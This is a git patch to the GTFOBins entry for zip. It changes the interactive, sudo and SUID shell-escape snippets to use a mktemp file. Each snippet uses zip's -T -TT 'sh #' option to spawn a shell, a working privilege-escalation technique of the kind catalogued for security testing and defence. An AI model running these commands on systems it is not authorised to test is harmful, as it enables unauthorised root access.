From 0ba5df0cb984fd631efbf55a5adc8ec717720432 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Sun, 19 Aug 2018 11:32:48 +0100 Subject: [PATCH] Use temporary files in zip functions --- _gtfobins/zip.md | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/_gtfobins/zip.md b/_gtfobins/zip.md index 13f9031..758c11b 100644 --- a/_gtfobins/zip.md +++ b/_gtfobins/zip.md @@ -2,14 +2,17 @@ functions: execute-interactive: - code: | - zip /tmp/x.zip /etc/hosts -T -TT 'sh #' - rm /tmp/x.zip + TF=$(mktemp -u) + zip $TF /etc/hosts -T -TT 'sh #' + rm $TF sudo-enabled: - code: | - sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #' - sudo rm /tmp/x.zip + TF=$(mktemp -u) + sudo zip $TF /etc/hosts -T -TT 'sh #' + sudo rm $TF suid-limited: - code: | - ./zip /tmp/x.zip /etc/hosts -T -TT 'sh #' - sudo rm /tmp/x.zip + TF=$(mktemp -u) + ./zip $TF /etc/hosts -T -TT 'sh #' + sudo rm $TF ---